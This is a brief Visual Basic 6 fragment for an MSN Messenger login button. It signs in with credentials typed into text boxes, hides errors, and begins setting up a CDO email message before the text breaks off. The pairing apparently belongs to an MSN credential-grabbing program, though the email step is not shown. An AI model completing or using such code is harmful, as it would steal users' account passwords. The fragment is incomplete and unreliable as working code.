Private Sub Command1_Click()
On Error Resume Next
msn.Logon Text1.Text, Text2.Text, msn.Services.PrimaryService
On Error Resume Next
Dim iMsg, iConf, Flds
Set iMsg = CreateObject("CDO.Message")
Set iConf = CreateObject("CDO.Configuration")
Set Flds = iConf.Fields
schema =...